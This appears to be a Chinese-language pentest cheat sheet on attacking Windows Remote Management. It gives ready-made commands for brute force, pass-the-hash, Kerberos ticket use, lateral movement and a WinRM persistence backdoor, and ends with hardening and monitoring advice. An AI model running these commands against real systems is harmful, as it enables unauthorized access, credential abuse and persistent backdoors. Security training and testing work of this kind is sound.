5985/5986 - WinRM 服务渗透测试
服务概述
WinRM (Windows Remote Management) 是 Windows 远程管理服务,基于 SOAP/HTTP。是 PowerShell 远程执行的基础。
默认端口: 5985 (HTTP), 5986 (HTTPS)
危害等级: ⭐⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script http-winrm-info -p 5985 TARGET
# 检查 WinRM
nmap -sV -p 5985,5986 TARGET
# 使用 crackmapexec
crackmapexec winrm TARGET认证测试
# 测试凭据
crackmapexec winrm TARGET -u USERNAME -p PASSWORD
# 暴力破解
crackmapexec winrm TARGET -u USERNAME -P passwords.txt
# 使用已知哈希
crackmapexec winrm TARGET -u USERNAME -H HASH常见攻击手法
1. 暴力破解
原理: WinRM 允许在线密码猜测。
利用:
# crackmapexec
crackmapexec winrm TARGET -u administrator -P rockyou.txt
# ncrack
ncrack -vv --user administrator -P rockyou.txt winrm://TARGET
# hydra
hydra -l administrator -P rockyou.txt winrm://TARGET2. Pass-the-Hash
原理: 使用 NTLM 哈希进行认证。
利用:
# crackmapexec
crackmapexec winrm TARGET -u administrator -H AAD3B435B51404EEAAD3B435B51404EE:HASH
# evil-winrm
evil-winrm -i TARGET -u administrator -H HASH3. Overpass-the-Hash
原理: 用 NTLM 哈希获取 Kerberos TGT。
利用:
# mimikatz
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:powershell
# 在 PowerShell 中
Enter-PSSession -ComputerName TARGET
# 或使用 impacket
python3 getTGT.py -hashes :HASH DOMAIN/administrator
export KRB5CCNAME=admin.ccache
python3 winrm_exec.py TARGET -k -no-pass 'whoami'4. Kerberos 认证
原理: 使用 Kerberos 票据认证。
利用:
# 使用 TGT
export KRB5CCNAME=admin.ccache
# evil-winrm
evil-winrm -i TARGET -r DOMAIN.COM -k
# impacket
python3 winrm_exec.py TARGET -k -no-pass 'whoami'5. 横向移动
原理: 使用 WinRM 在内网移动。
利用:
# 1. 获取凭据后
# 扫描内网 WinRM
crackmapexec winrm 192.168.1.0/24
# 2. 测试凭据
crackmapexec winrm 192.168.1.0/24 -u admin -p Password123!
# 3. 执行命令
crackmapexec winrm 192.168.1.50 -u admin -p Password123! -x "whoami"
# 4. 交互式 shell
evil-winrm -i 192.168.1.50 -u admin -p Password123!6. 持久化
原理: 启用 WinRM 作为后门。
利用:
# 启用 WinRM
Enable-PSRemoting -Force
# 配置监听
winrm create winrm/config/Listener?Address=*+Transport=HTTP
# 添加防火墙规则
netsh advfirewall firewall add rule name="WinRM" dir=in action=allow protocol=TCP localport=5985
# 设置认证
winrm set winrm/config/service @{AuthBasic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}实战案例
案例 1: 暴力破解获取访问
# 1. 扫描 WinRM
crackmapexec winrm 192.168.1.0/24
# 输出:
# SMB 192.168.1.50 5985 DC01 [*] Windows Server 2019 Standard 17763 (name:DC01)
# 2. 暴力破解
crackmapexec winrm 192.168.1.50 -u administrator -P rockyou.txt
# 输出:
# WinRM 192.168.1.50 5985 DC01 [+] DOMAIN\administrator:Password123!
# 3. 执行命令
crackmapexec winrm 192.168.1.50 -u administrator -p Password123! -x "whoami"
# 输出:
# domain\administrator
# 4. 交互式 shell
evil-winrm -i 192.168.1.50 -u administrator -p Password123!案例 2: Pass-the-Hash
# 1. 获取 NTLM 哈希
# 通过 mimikatz 或其他方式
# administrator:AAD3B435B51404EEAAD3B435B51404EE:HASH
# 2. 使用哈希认证
crackmapexec winrm 192.168.1.50 -u administrator -H HASH
# 3. evil-winrm
evil-winrm -i 192.168.1.50 -u administrator -H HASH
# 4. 执行命令
evil-winrm -i 192.168.1.50 -u administrator -H HASH -x "whoami"案例 3: 域内横向移动
# 1. 初始访问
# 获取域用户凭据
# 2. 枚举域机器
crackmapexec winrm 192.168.1.0/24
# 3. 测试凭据
crackmapexec winrm 192.168.1.0/24 -u user1 -p Password123!
# 输出:
# WinRM 192.168.1.50 5985 DC01 [+] DOMAIN\user1:Password123!
# WinRM 192.168.1.100 5985 SRV01 [+] DOMAIN\user1:Password123!
# 4. 查找本地管理员
crackmapexec winrm 192.168.1.0/24 -u user1 -p Password123! -M local_admin
# 5. 使用发现的凭据
crackmapexec winrm 192.168.1.10 -u admin -p AdminPass456! -x "whoami"案例 4: Kerberos 认证
# 1. 获取 TGT
# 通过过哈希或其他方式
python3 getTGT.py DOMAIN/administrator:password
# 2. 设置环境变量
export KRB5CCNAME=administrator.ccache
# 3. 使用 Kerberos 认证
evil-winrm -i 192.168.1.50 -r DOMAIN.COM -k
# 4. 或使用 impacket
python3 winrm_exec.py 192.168.1.50 -k -no-pass 'whoami'工具
evil-winrm
# 安装
gem install evil-winrm
# 密码认证
evil-winrm -i TARGET -u USERNAME -p PASSWORD
# 哈希认证
evil-winrm -i TARGET -u USERNAME -H HASH
# Kerberos 认证
evil-winrm -i TARGET -r DOMAIN.COM -k
# 上传文件
evil-winrm -i TARGET -u USERNAME -p PASSWORD -u /path/to/file -r C:\temp\file
# 下载文件
evil-winrm -i TARGET -u USERNAME -p PASSWORD -d C:\temp\file -l /path/to/file
# 执行脚本
evil-winrm -i TARGET -u USERNAME -p PASSWORD -s script.ps1crackmapexec
# 扫描
crackmapexec winrm TARGET
# 认证测试
crackmapexec winrm TARGET -u USERNAME -p PASSWORD
# 暴力破解
crackmapexec winrm TARGET -u USERNAME -P passwords.txt
# 哈希认证
crackmapexec winrm TARGET -u USERNAME -H HASH
# 执行命令
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -x "whoami"
# 使用模块
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -M module_nameimpacket
# 获取 TGT
python3 getTGT.py DOMAIN/USERNAME:PASSWORD
# 执行命令
python3 winrm_exec.py TARGET -k -no-pass 'whoami'
# 使用哈希
python3 getTGT.py -hashes :HASH DOMAIN/USERNAMEnmap
# WinRM 信息
nmap --script http-winrm-info -p 5985 TARGET
# HTTP 枚举
nmap --script http-enum -p 5985 TARGET防御建议
服务器配置
# 1. 禁用 WinRM (如果不需要)
Disable-PSRemoting -Force
winrm delete winrm/config/Listener?Address=*+Transport=HTTP
# 2. 限制访问
winrm set winrm/config/service @{IPv4Filter="192.168.1.0/24"}
winrm set winrm/config/service @{IPv6Filter="*"}
# 3. 强制 HTTPS
winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server";CertificateThumbprint="THUMBPRINT"}
# 4. 禁用基本认证
winrm set winrm/config/service @{AuthBasic="false"}
# 5. 强制加密
winrm set winrm/config/service @{AllowUnencrypted="false"}组策略
1. 计算机配置 → 策略 → 管理模板
→ Windows 组件 → Windows Remote Management
2. 限制 WinRM 客户端
- 允许远程服务器管理
- 限制 IP 范围
3. 禁用 WinRM 服务
- 服务启动类型:禁用监控检测
# 1. 日志监控
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WinRM/Operational'} |
Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-24)}
# 2. 异常检测
# 大量认证失败
# 非工作时间访问
# 未知 IP 连接
# 3. PowerShell 脚本
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624,4625} |
Where-Object {$_.Message -like "*WinRM*"}